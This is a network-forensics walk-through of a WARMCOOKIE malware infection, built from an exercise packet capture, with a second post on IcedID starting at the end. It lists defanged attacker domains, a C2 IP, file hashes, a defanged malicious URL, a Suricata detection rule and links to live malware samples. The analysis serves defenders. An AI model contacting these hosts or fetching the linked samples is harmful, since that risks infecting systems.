<h4 id="mitre-ttps">MITRE TTP’s</h4>

<table>
  <thead>
    <tr>
      <th>Tactic</th>
      <th>Technique</th>
      <th>MITRE ID</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Initial Access</td>
      <td>Phishing: Spearphishing Link</td>
      <td><a href="https://attack.mitre.org/techniques/T1566/002/">T1566.002</a></td>
      <td>The user clicked a linked, which lead to an archive file download.</td>
    </tr>
    <tr>
      <td>Execution</td>
      <td>User Execution</td>
      <td><a href="https://attack.mitre.org/techniques/T1204/">T1204</a></td>
      <td>Likely double clicking a JavaScript file lead to execution.</td>
    </tr>
    <tr>
      <td>Execution</td>
      <td>Command and Scripting Interpreter: JavaScript</td>
      <td><a href="https://attack.mitre.org/techniques/T1059/007/">T1059.007</a></td>
      <td>JavaScript file as a first stage payload.</td>
    </tr>
    <tr>
      <td>Defense Evasion</td>
      <td>Deobfuscate/Decode Files or Information</td>
      <td><a href="https://attack.mitre.org/techniques/T1140/">T1140</a></td>
      <td>First stage JavaScript file heavily  obfuscated.</td>
    </tr>
    <tr>
      <td>Execution</td>
      <td>Scheduled Task/Job: At</td>
      <td><a href="https://attack.mitre.org/techniques/T1053/002/">T1053.002</a></td>
      <td>A <code class="language-plaintext highlighter-rouge">.job</code> file was used to execute <code class="language-plaintext highlighter-rouge">rundll32.exe</code></td>
    </tr>
    <tr>
      <td>Persistence</td>
      <td>BITS Jobs</td>
      <td><a href="https://attack.mitre.org/techniques/T1197/">T1197</a></td>
      <td>Bitsadmin used to retrieve payloads from C2 domains.</td>
    </tr>
    <tr>
      <td>Command and Control</td>
      <td>Application Layer Protocol: Web Protocols</td>
      <td><a href="https://attack.mitre.org/techniques/T1071/001/">T1071.001</a></td>
      <td>Payload are retrieved from HTTP web servers.</td>
    </tr>
    <tr>
      <td>Command and Control</td>
      <td>Proxy: Domain Fronting</td>
      <td><a href="https://attack.mitre.org/techniques/T1090/004/">T1090.004</a></td>
      <td>CloudFlare used to host C2 domain.</td>
    </tr>
    <tr>
      <td>Defense Evasion</td>
      <td>System Binary Proxy Execution: Regsvr32</td>
      <td><a href="https://attack.mitre.org/techniques/T1218/010/">T1218.010</a></td>
      <td>Used to execute payload.</td>
    </tr>
    <tr>
      <td>Defense Evasion</td>
      <td>System Binary Proxy Execution: Rundll32</td>
      <td><a href="https://attack.mitre.org/techniques/T1218/011/">T1218.011</a></td>
      <td>Used to execute payload.</td>
    </tr>
  </tbody>
</table>

<h4 id="iocs">IOC’s</h4>

<p><strong>Domain</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">quote[.]checkfedexexp[.]com</code> (CloudFlare Hosted)</li>
  <li><code class="language-plaintext highlighter-rouge">business[.]checkfedexexp[.]com</code> (CloudFlare Hosted)</li>
  <li><code class="language-plaintext highlighter-rouge">checking-bots[.]site</code> (hosted on <code class="language-plaintext highlighter-rouge">72.5.43[.]29</code>)</li>
</ul>

<p><strong>IPv4</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">72.5.43[.]29</code></li>
</ul>

<p><strong>Files</strong></p>

<ul>
  <li>Invoice 876597035_003.zip
    <ul>
      <li>MD5: <code class="language-plaintext highlighter-rouge">180f63b858ec220fcce837e11bc1dbec</code></li>
      <li>SHA1: <code class="language-plaintext highlighter-rouge">79f764b23b9767a10cc21b9798b233d97726b236</code></li>
      <li>SHA256: <code class="language-plaintext highlighter-rouge">798563fcf7600f7ef1a35996291a9dfb5f9902733404dd499e2e736ea1dc6fc5</code>
<br /></li>
    </ul>
  </li>
  <li>Invoice-876597035-003-8331775-8334138.js
    <ul>
      <li>MD5: <code class="language-plaintext highlighter-rouge">f43a0279183cf2c0eec72397251878d4</code></li>
      <li>SHA1: <code class="language-plaintext highlighter-rouge">2d81f6cfb49f992494b78bfe82fa142c5004a554</code></li>
      <li>SHA256: <code class="language-plaintext highlighter-rouge">dab98819d1d7677a60f5d06be210d45b74ae5fd8cf0c24ec1b3766e25ce6dc2c</code>
<br /></li>
    </ul>
  </li>
  <li>DLL File
    <ul>
      <li>MD5: <code class="language-plaintext highlighter-rouge">59b7b8d29252a9128536fbd08d24375f</code></li>
      <li>SHA1: <code class="language-plaintext highlighter-rouge">7221b9125608a54f9dd706166f936c16ee23164a</code></li>
      <li>SHA256: <code class="language-plaintext highlighter-rouge">b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6</code></li>
    </ul>
  </li>
</ul>

<hr />

<h2 id="analysis">Analysis</h2>

<p>This incident briefing contained a PCAP file and a set of alerts generated from Suricata<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> shown below in <em>Figure 1</em>.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/2024-08-15-traffic-analysis-exercise-alerts.jpg" />
</div>
<p><em>Figure 1: Suricata Alerts</em></p>

<p><br />
As with any incident investigation, we’ll start with a triage workflow.</p>

<p>A quick glance at the alerts highlighted in <em>Figure 2</em>, shows they were generated in responses from <code class="language-plaintext highlighter-rouge">72.5.43[.]29</code> back to <code class="language-plaintext highlighter-rouge">10.8.15[.]133</code> over HTTP traffic on port <code class="language-plaintext highlighter-rouge">80</code>.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/2024-08-15-traffic-analysis-exercise-alerts_1.jpg" />
</div>
<p><em>Figure 2: Suricata Alerts HTTP port 80</em>
<br />
<br /></p>

<p>We can summarize the detected activity highlighted in <span style="color: green"><strong>green</strong></span> as:</p>

<blockquote>
  <p>The server 72.5.43[.]29 responded with a small (&lt; 1MB) DLL file to a request made by 10.8.15[.]133.</p>
</blockquote>

<p><br />
Using the destination details from the alert, as shown in the Wireshark filter below, you can see the originating client HTTP request.
<br /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http and ip.src == 10.8.15.133 and tcp.srcport == 49810
</code></pre></div></div>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_request_1.png" />
</div>
<p><em>Figure 3: Wireshark HTTP Requests</em>
<br /></p>

<p><br />
<em>Figure 3</em> shows two HTTP requests were sent to the server <code class="language-plaintext highlighter-rouge">72.5.43[.]29</code>.</p>

<p>The first request is a <code class="language-plaintext highlighter-rouge">HEAD</code> request, used to retrieve the headers that are then subsequently sent with the following <code class="language-plaintext highlighter-rouge">GET</code> request.</p>

<p>Following the HTTP stream, it shows the requested resource location (<code class="language-plaintext highlighter-rouge">/data/0f60a3e7baecf2748b1c8183ed37d1e4</code>) as well as the <code class="language-plaintext highlighter-rouge">User-Agent</code> string <code class="language-plaintext highlighter-rouge">Microsoft BITS/7.8</code> indicating that the BITS protocol was used.</p>

<p>In the reply, we can see a status of <code class="language-plaintext highlighter-rouge">200 OK</code> and a value <code class="language-plaintext highlighter-rouge">159232</code> referring to the resource size in bytes.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_head_request.png" />
</div>
<p><em>Figure 4: Wireshark HTTP HEAD Request</em>
<br />
<br /></p>

<p><em>Figure 5</em> shows the <code class="language-plaintext highlighter-rouge">GET</code> request and response, which contains an <code class="language-plaintext highlighter-rouge">MZ</code> header and the common DOS stub: <strong>This program cannot be run in DOS mode.</strong></p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_get_request.png" />
</div>
<p><em>Figure 5: Wireshark HTTP GET Request</em>
<br />
<br /></p>

<p>Exporting the packet bytes using the Wireshark interface, you should end up with a file with the SHA1: <code class="language-plaintext highlighter-rouge">7221b9125608a54f9dd706166f936c16ee23164a</code>.</p>

<p>The extracted file can also be located on MalwareBazaar <a href="https://bazaar.abuse.ch/sample/b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6/">here</a>.
Without taking too much of a byte out of the payload we can see from the output of the <code class="language-plaintext highlighter-rouge">file</code> <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> command that it is a 64-bit DLL file.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PE32+ executable (DLL) (GUI) x86-64, for MS Windows
</code></pre></div></div>

<p><br />
Based on the behavioural pattern of <code class="language-plaintext highlighter-rouge">HEAD</code> and <code class="language-plaintext highlighter-rouge">GET</code> requests, along with the BITS <code class="language-plaintext highlighter-rouge">User-Agent</code>, we can be fairly confident that <code class="language-plaintext highlighter-rouge">bitsadmin.exe</code> or <code class="language-plaintext highlighter-rouge">Start-BitsTransfer</code> was executed on the endpoint, something that can be used to pivot into any EDR telemetry.</p>

<p>So far we have uncovered a victim and an IPv4 address which was used to retrieve a DLL file.
<br /></p>

<h3 id="infection-vector">Infection Vector</h3>

<p>As we don’t have the luxury of also having access to endpoint telemetry, we have to hunt for earlier stages of the infection chain in what we <em>do</em> have.</p>

<p>In order to do that we can widen our scope, using the <code class="language-plaintext highlighter-rouge">Statistics &gt; HTTP &gt; Requests</code> option, you can see additional destinations for HTTP traffic.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_requests_all.png" />
</div>
<p><em>Figure 6: Wireshark All HTTP Request</em>
<br />
<br /></p>

<p>We’ve already briefly explored <code class="language-plaintext highlighter-rouge">72.5.43[.]29</code>. The domain <code class="language-plaintext highlighter-rouge">www.msftconnecttest[.]com</code>, two <code class="language-plaintext highlighter-rouge">microsoft[.]com</code> domains, and an <code class="language-plaintext highlighter-rouge">adobe[.]com</code> do not raise too much suspicion, and are known legitimate domains.</p>

<p><em>Note: The IPv4 address <code class="language-plaintext highlighter-rouge">239.255.255[.]250</code> is a multicast address and is nothing to be concerned with<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>.</em></p>

<p><br />
That leaves one outlier, the host <code class="language-plaintext highlighter-rouge">quote.checkfedexexp[.]com</code>, which can be filtered for using the below Wireshark filter expression.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.host == quote.checkfedexexp.com
</code></pre></div></div>
<p><br />
Following the HTTP stream, we can see all the protocol data, shown in <em>Figure 7</em>.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_invoice_zip.png" />
</div>
<p><em>Figure 7: Wireshark HTTP Invoice Zip</em>
<br />
<br /></p>

<p>The HTTP headers show that the resource accessed is named <code class="language-plaintext highlighter-rouge">Invoice 876597035_003.zip</code> and is being served by a CloudFlare hosted domain. The <code class="language-plaintext highlighter-rouge">PK</code> header in the data stream confirms this is a Zip archive.</p>

<p>The request was also made by a process using the <code class="language-plaintext highlighter-rouge">User-Agent</code> string: <code class="language-plaintext highlighter-rouge">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0</code> which is in fact a legitimate Microsoft Edge client. We could hypothesise then that the user was sent this URL vie means such as email and search for phishing emails wider within an organization.</p>

<p>Extracting these packet bytes provides a Zip archive with the SHA1: <code class="language-plaintext highlighter-rouge">79f764b23b9767a10cc21b9798b233d97726b236</code>, also available on MalwareBazaar <a href="https://bazaar.abuse.ch/sample/798563fcf7600f7ef1a35996291a9dfb5f9902733404dd499e2e736ea1dc6fc5/">here</a>.</p>

<p><br />
Listing the archive contents, shows some interesting information. The first item of interest of the single file contents being a <code class="language-plaintext highlighter-rouge">.js</code> (JavaScript) file, secondly is the <code class="language-plaintext highlighter-rouge">Date</code> this file was last modified, which gives some nice context into how long a campaign or delivery mechanism has existed for regarding this malware and or actor (a tiny piece in the puzzle at least).</p>

<p><br /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ unzip -l 'Invoice 876597035_003.zip'
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Archive:  Invoice 876597035_003.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  6990020  2024-06-08 08:45   Invoice-876597035-003-8331775-8334138.js
---------                     -------
  6990020                     1 file
</code></pre></div></div>
<p><br /></p>

<p>Thankfully the Zip archive is not password protected and you can extract the file <code class="language-plaintext highlighter-rouge">Invoice-876597035-003-8331775-8334138.js</code> which has a SHA1: <code class="language-plaintext highlighter-rouge">2d81f6cfb49f992494b78bfe82fa142c5004a554</code> and is available on MalwareBazaar <a href="https://bazaar.abuse.ch/sample/dab98819d1d7677a60f5d06be210d45b74ae5fd8cf0c24ec1b3766e25ce6dc2c/">here</a>.</p>

<p><br />
It’s safe to say a user would likely Double-Click the JavaScript file which would by default cause Windows to launch <code class="language-plaintext highlighter-rouge">wscript.exe</code> passing the script as an argument. This provides another good theory on how we can search EDR telemetry for phases of this infection chain.
<br /></p>

<p>Opening the file <code class="language-plaintext highlighter-rouge">Invoice-876597035-003-8331775-8334138.js</code>, it becomes immediately clear there is a lot of obfuscation and junk data in this script.</p>

<p>This Javascript file was also uploaded to <a href="https://any.run/report/dab98819d1d7677a60f5d06be210d45b74ae5fd8cf0c24ec1b3766e25ce6dc2c/8299f7c6-bd3c-4805-8c8f-96ddf0247dbc">Any.Run</a>. There is a lot of information here to digest, however one thing to note is the results of the DNS requests made shown in <em>Figure 8</em>.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/anyrun_sandbox_dns_js.png" />
</div>
<p><em>Figure 8: AnyRun Sandbox analysis</em>
<br />
<br /></p>

<p>The domain of interest is <code class="language-plaintext highlighter-rouge">business.checkfedexexp[.]com</code>, which is another host on a domain we observed in the early stages of this infection chain.
Although the sandbox was not able to resolve the IP address, we can use the filter below to show the DNS related data in Wireshark.</p>

<p><br /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dns.qry.name == business.checkfedexexp.com and dns.a
</code></pre></div></div>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_dns_a.png" />
</div>
<p><em>Figure 9: Wireshark DNS answers</em>
<br />
<br /></p>

<p>The results from the PCAP show that this domain resolved to <code class="language-plaintext highlighter-rouge">172.67.170[.]159</code> and <code class="language-plaintext highlighter-rouge">104.21.55[.]70</code> at the time of the capture, both of which are managed by CloudFlare.</p>

<p>Taking a quick look at the obfuscated JavaScript file shows that the domain <code class="language-plaintext highlighter-rouge">business.checkfedexexp[.]com</code> and the URI are not so heavily obfuscated.
Using a simple grep command, we can manually piece it back together.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>grep -F -e "business.checkfedexexp.com" Invoice-876597035-003-8331775-8334138.js 
</code></pre></div></div>
<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/grep_js_obfuscated.png" />
</div>
<p><em>Figure 10: Grep obfuscated Javascript</em>
<br />
<br /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hxxps[:]//business[.]checkfedexexp[.]com/data-privacyzj=ZzqRKxVRQ&amp;pOd=GEokiOXFwH&amp;sourcedp=tQMQJlIo&amp;Tfocontent=IxGTZjXqxJ&amp;Jr_cid=9464552&amp;L=8174388
</code></pre></div></div>

<p><br /></p>

<p>I attempted to de-obfuscate using the AMSI<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> tracing mechanism, outlined by “<strong>JustAnother-Engineer</strong>” on their post titled <a href="https://infosecwriteups.com/windows-security-using-amsi-to-analyze-malicious-javascript-c765ec755f40">Windows Security: Using AMSI to Analyze Malicious JavaScript</a>, however I did not have much luck. It was an interesting technique that might be useful in other scripts so I thought it was worth sharing.
<br />
<br /></p>

<p>Whilst the sandbox does not show the network connection, likely due to resolution issues, we can see there was a network connection following the DNS answer to one of the IP addresses <code class="language-plaintext highlighter-rouge">172.67.170[.]159</code> using a secure TLS connection. Due to the secure wrapping on the connection we cannot see the underlying HTTP requests and any responses.</p>

<p>You can see this combination of events in the PCAP using the following Wireshark filter, and the results in <em>Figure 11</em>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip.dst == 172.67.170.159 or dns.a == 172.67.170.159 and !icmp
</code></pre></div></div>
<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_dns_tls_cloudflare_connection.png" />
</div>
<p><em>Figure 11: Wireshark DNS and TLS connection to C2</em>
<br />
<br /></p>

<p>We also cannot determine entirely from the evidence we have in the PCAP how the execution proceeds. 
For this I recommend checking out a blog from <strong>Elastic</strong>, titled <a href="https://www.elastic.co/security-labs/dipping-into-danger">Dipping Into Danger</a>, which shows the same~ish infection chain from an EDR perspective.</p>

<p>We identified earlier that BITS was used to retrieve a DLL file, and this aligns with the reporting from <strong>Elastic</strong>.</p>

<p>Reviewing the <a href="https://any.run/report/b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6/2b69ce82-3661-490d-a22e-169706858a91">Any.Run</a> sandbox report on the DLL file, we can see that there is execution of <code class="language-plaintext highlighter-rouge">rundll32.exe</code> from a scheduled job, which from the blog by <strong>Elastic</strong> we know is setup by the malware.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/anyrun_execute_dll_files.png" />
</div>
<p><em>Figure 13: At job DLL execution</em>
<br />
<br /></p>

<p>The <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process communicates with an IPv4 address <code class="language-plaintext highlighter-rouge">72.5.43[.]29:80</code>, which also triggered an alert in the Suricata IDS, shown in <span style="color:blue"><strong>blue</strong></span> in <em>Figure 14</em>.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/2024-08-15-traffic-analysis-exercise-alerts_2.jpg" />
</div>
<p><em>Figure 14: Suricata Alerts HTTP</em>
<br />
<br /></p>

<p>In summary this activity can be described as follows:
<br /></p>
<blockquote>
  <p>The client 10.8.15[.]133 made a HTTP POST request directly to an IPv4 address rather than a domain to the server 72.5.43[.]29 with an unusual web browser.</p>
</blockquote>

<p><br /></p>

<p>Taking a closer look at the request that triggered the alert, we can see there was a HTTP POST request made and was detected by the following rule.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
</code></pre></div></div>

<p><br />
In order to understand this alert more, it may be helpful to see its implementation.
This detection rule is part of the Suricata <strong>Emerging Threats</strong> set, which can be downloaded from <a href="http://rules.emergingthreats.net/open/suricata-7.0.3/emerging-all.rules.tar.gz">here</a>.</p>

<p><br /></p>

<p>The implementation of the rule in question is shown below.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alert http  $HOME_NET any -&gt; $EXTERNAL_NET any (msg:"ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1"; 
flow:established,to_server; content:"POST"; http_method; content:" MSIE "; nocase; http_user_agent; fast_pattern; content:!"Accept-Encoding|3a|"; 
http_header; content:!"Referer|3a|"; 
http_header; content:!"X-Requested-With|3a 20|"; 
http_header; nocase; content:!"Windows Live Messenger"; 
http_header; content:!"MS Web Services Client Protocol"; 
http_header; pcre:"/^Host\x3a\s*?\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?:\x3a|\r?\n)/Hmi"; 
content:"|0d 0a 0d 0a|"; 
content:!"grooveDNS"; depth:20; http_client_body; classtype:bad-unknown; sid:2018358; rev:4;)
</code></pre></div></div>

<p><br />
Let’s take a look at the packet that generated this alert by opening up the PCAP file in Wireshark, and applying this filter:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http and http.request.method == POST and ip.dst == 72.5.43.29 and tcp.srcport == 49818
</code></pre></div></div>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_post_1.png" />
</div>
<p><em>Figure 15: HTTP POST Request from rundll32.exe</em>
<br />
<br /></p>

<p>The Suricata alert matches on the token <code class="language-plaintext highlighter-rouge">MSIE</code> as well as the <code class="language-plaintext highlighter-rouge">Host</code> parameter containing an IPv4 address.</p>

<p>If we search for the <code class="language-plaintext highlighter-rouge">User-Agent</code> string in Google, we only receive a handful of results. 
One interesting page returned is for a sandbox report from <a href="https://www.joesandbox.com/analysis/1493196/1/html">www.joesandbox.com</a>. 
Pivoting on the <code class="language-plaintext highlighter-rouge">MD5</code> hash of this sandbox report, we can find some attribution that this is in fact a WARMCOOKIE <a href="https://any.run/report/b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6/6dc666b5-d5f6-4fdf-8f3a-5168666219f2">sample</a>.
<br /></p>

<p>Use the Wireshark filter below to widen the filter for the HTTP traffic to <code class="language-plaintext highlighter-rouge">72.5.43[.]29</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http and ip.dst == 72.5.43.29
</code></pre></div></div>
<p><br /></p>

<p>Following the download of the DLL file, the same IPv4 address is then the destination of further HTTP traffic, shown in <em>Figure 16</em>.
The traffic begins with a <code class="language-plaintext highlighter-rouge">GET</code> to the document root <code class="language-plaintext highlighter-rouge">/</code>, with the server returning a <code class="language-plaintext highlighter-rouge">200 OK</code> response and 32 bytes of data.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000   af a5 39 e1 ae 05 69 ab b7 56 35 f4 66 c1 a6 e0   ..9...i..V5.f...
0010   78 26 73 32 9b 6e b3 1b e5 a1 a7 e7 9e f5 36 22   x&amp;s2.n........6"
</code></pre></div></div>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_get_post.png" />
</div>
<p><em>Figure 16: Wireshark HTTP Command and Control</em>
<br />
<br /></p>

<p>Immediately the server response is followed by the client sending a <code class="language-plaintext highlighter-rouge">POST</code> request containing 124 bytes, resulting in the server response <code class="language-plaintext highlighter-rouge">400 Bad Request</code>, and some HTML.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000   49 29 b4 13 b4 13 86 56 a5 b1 eb e6 64 c1 a6 e0   I).....V....d...
0010   7b 26 73 32 9b 6e b3 1b ca a1 a7 e7 8f f5 36 22   {&amp;s2.n........6"
0020   5c fb 00 56 fe 3e 8d e0 c3 37 d9 5f dd d0 e1 b8   \..V.&gt;...7._....
0030   1e 8e bd 75 b8 11 97 df 95 c1 e3 36 27 f0 9c 8f   ...u.......6'...
0040   9c 10 ec 74 6a a4 13 e9 c8 ec c6 61 56 e6 b7 2d   ...tj......aV..-
0050   b2 fe f8 7b 4b cc 17 10 97 63 0c 75 81 a2 97 71   ...{K....c.u...q
0060   14 dc 0c d9 91 1f aa f1 7c ff 9b 8f 1b f7 b0 28   ........|......(
0070   f6 26 93 25 20 f9 03 5b 4a ee 38 11               .&amp;.% ..[J.8.
</code></pre></div></div>
<p><br />
<br /></p>

<p><em>Figure 17</em> shows a higher level overview of the communication to the C2 IPv4 address.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/wireshark_http_c2.png" />
</div>
<p><em>Figure 17: Wireshark HTTP Command and Control</em>
<br />
<br /></p>

<hr />

<h3 id="command-and-control-infrastructure">Command and Control Infrastructure</h3>

<p>Whilst the data traversing the HTTP sequences does not contain any indications of its contents, we can take a closer look at the C2 infrastructure.</p>

<p>Using <a href="https://www.shodan.io/host/72.5.43.29#80">shodan.io</a>, it shows the same response was returned to the scanning bot, as you see in the PCAP.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/shodan_io_http_bad_request.png" />
</div>
<p><em>Figure 18: Google Web crawler Cache of C2 Domain</em>
<br />
<br /></p>

<p>Pivoting on the <code class="language-plaintext highlighter-rouge">http.html_hash</code> value we see this is highly likely running an NGINX web server, as shown in the report <a href="https://www.shodan.io/search/report?query=http.html_hash%3A-63667798">here</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.html_hash:-63667798
</code></pre></div></div>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/Shodan_Search_Engine.png" />
</div>
<p><em>Figure 19: Shodan Report</em>
<br />
<br /></p>

<p>It appears this HTML page is very common and contains no unique values we could use to track the infrastructure further.
The Shodan report on the C2 IPv4 address list various details, including a domain we have not seen in the PCAP: <code class="language-plaintext highlighter-rouge">checking-bots[.]site</code>.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/shodan_io_c2_ip_details.png" />
</div>
<p><em>Figure 20: Shodan C2 IPv4 Details</em>
<br />
<br /></p>

<p>Google very helpfully stores and makes available cache information when its crawlers visit domains.
If we take a look at the <a href="https://webcache.googleusercontent.com/search?q=cache:checking-bots.site">results</a> for this domain, <em>Figure 21</em> shows that at some stage a Python Flask web application was in use. This can be, and is commonly used alongside NGINX to provide a dynamic server side application.</p>

<p>Whilst this is not a smoking gun of any custom C2 infrastructure, it may or may not provide some insight into the C2 back-end.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/warmcookie_incident_walk_through/google_cache_c2_domain.png" />
</div>
<p><em>Figure 21: Google Web crawler Cache of C2 Domain</em>
<br /></p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>In this post we walked through how to triage and pivot on the infection chain for WARMCOOKIE, working backwards to the initial access all the way through to identifying the final command and control channel and profiling the attackers infrastructure.</p>

<p>If you enjoyed this post, pleas feel free to let me know either on <a href="https://x.com/techevo_">twitter</a> or various Discord servers.</p>

<p><a href="https://x.com/techevo_">@techevo_</a></p>

<hr />

<h2 id="references">References</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p><a href="https://suricata.io/">suricata.io</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="https://www.man7.org/linux/man-pages/man1/file.1.html">https://www.man7.org/linux/man-pages/man1/file.1.html</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p><a href="https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol">https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal</a> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>techevo</name><email>simon at techevo dot uk</email></author><category term="analysis" /><category term="network" /><category term="warmcookie" /><category term="malware" /><category term="walk-through" /><category term="ioc" /><category term="pcap" /><category term="network" /><summary type="html"><![CDATA[This walk-through will be dissecting a WARMCOOKIE infection chain from the perspective of a network packet capture and Suricata alerts. The various artefacts for this incident are kindly provided by @malware_traffic and located at malware-traffic-analysis.net.]]></summary></entry><entry><title type="html">Carving the IcedId - Part 3</title><link href="https://blog.techevo.uk/analysis/binary/2024/03/17/carving-the-icedid-part-3.html" rel="alternate" type="text/html" title="Carving the IcedId - Part 3" /><published>2024-03-17T00:00:00+00:00</published><updated>2024-03-17T00:00:00+00:00</updated><id>https://blog.techevo.uk/analysis/binary/2024/03/17/carving-the-icedid-part-3</id><content type="html" xml:base="https://blog.techevo.uk/analysis/binary/2024/03/17/carving-the-icedid-part-3.html"><![CDATA[<p>Welcome back to this series, analysing IcedId malware artefacts.</p>

<p>This is part 3 in the series, you can check out <a href="https://blog.techevo.uk/analysis/pcap/2023/10/09/carving-the-icedid.html">part 1</a> and <a href="https://blog.techevo.uk/analysis/binary/2024/01/01/carving-the-icedid-part-2.html">part 2</a> to follow along from the beginning.</p>

<p>This post will focus on analysing a DLL file that was downloaded using a PowerShell script analysed in previously in <a href="https://blog.techevo.uk/analysis/binary/2024/01/01/carving-the-icedid-part-2.html">part 2</a>.</p>

<p>The data for this case was published by <a href="https://twitter.com/malware_traffic">@malware_traffic</a> over at <strong>Malware Traffic Analysis</strong><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. 
You can download all the samples from this case from <a href="https://www.malware-traffic-analysis.net/2023/08/09/index.html">here</a>.</p>

<p>This analysis has really stretched my learning regarding unpacking, it has by far been the most challenging and rewarding sample I’ve come across to date.
If there are any errors that you spot, I’d really welcome the feedback to understand better how this sample works.</p>

<p><br />
In order to make this walk through as accessible as possible, I will once again be storing artefacts and output in a GitHub repository <a href="about:blank">here</a>.</p>

<p>The GitHub repository contains the extracted shellcode as seen in the various commands for your own experimentation, as well as the final payload.</p>

<hr />

<h2 id="tldr">TL;DR</h2>

<p>This post is fairly detailed and as a result quite long. A quick overview of how the sample executes is listed below to provide some quick insight.
